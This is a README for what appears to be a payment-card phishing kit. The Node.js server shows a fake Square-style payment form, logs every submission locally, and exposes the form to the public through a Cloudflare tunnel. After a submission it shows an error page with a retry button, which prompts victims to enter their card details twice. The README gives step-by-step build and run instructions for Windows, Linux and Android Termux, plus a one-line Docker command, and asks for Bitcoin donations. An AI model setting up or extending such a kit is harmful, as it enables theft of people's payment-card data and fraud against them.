donations are appreciated.... BTC bc1qqxghacjffqm085dltgkvpheewx3ktljfnxs5eg
[FOR EASIEST USE NO INSTALL OR DEPENDCIES ON ANYTHING JUST RUN] [docker run exhog/square-server:latest]
This project is a Node.js version of the original Go server. It serves a Square-style payment form, logs incoming requests and submissions, and starts a Cloudflare tunnel so the app can be exposed publicly.
- Local HTTP server on port 5000
- Square-inspired payment form UI
- Form submission logging
- Cloudflare tunnel support via
cloudflared - Standalone Windows executable build using
pkg - Red error page after submit with retry button
server.js– main Node.js servertemplate.html– payment form HTMLpackage.json– project config and build scriptdist/square-server.exe– packaged Windows binary
- Node.js 18+
- npm
cloudflaredinstalled and available in PATH for tunnel mode
- Termux app installed
nodejsandnpminstalledcloudflaredinstalled
Install on Termux:
pkg update
pkg install nodejs npm git curlInstall Cloudflare tunnel client:
curl -L https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64 -o /data/data/com.termux/files/usr/bin/cloudflared
chmod +x /data/data/com.termux/files/usr/bin/cloudflaredFrom the project folder:
npm installOn Termux:
npm installnode server.jsOn Termux:
node server.jsThen open:
http://localhost:5000
npm run buildThis creates:
dist/square-server.exe
On Linux or Termux, if you want a native binary for that environment, build for the matching target. Example for Linux x64:
npx pkg . --targets node18-linux-x64 --output dist/square-serverFor Termux on ARM64, use the matching target if supported by your environment. If not, run the Node script directly instead.
Windows:
cd dist
./square-server.exeLinux/Termux:
cd dist
./square-serverThe app automatically starts a Cloudflare tunnel using:
cloudflared tunnel --url http://localhost:5000On Termux:
cloudflared tunnel --url http://localhost:5000If cloudflared is available, it prints a public URL in the console.
- The app writes logs to a writable location instead of the packaged snapshot path, so the binary works correctly when launched from
dist. - If port 5000 is already in use, the app attempts to find an available port automatically.
- Form submissions are logged locally for inspection.
Start the app:
node server.jsBuild the binary:
npm run buildCheck GitHub CLI auth:
gh auth statusLogin to GitHub:
gh auth logingit init
git add .
git commit -m "Convert Go server to Node.js"
git branch -M main
git remote add origin https://github.com/YOUR_USERNAME/YOUR_REPO.git
git push -u origin main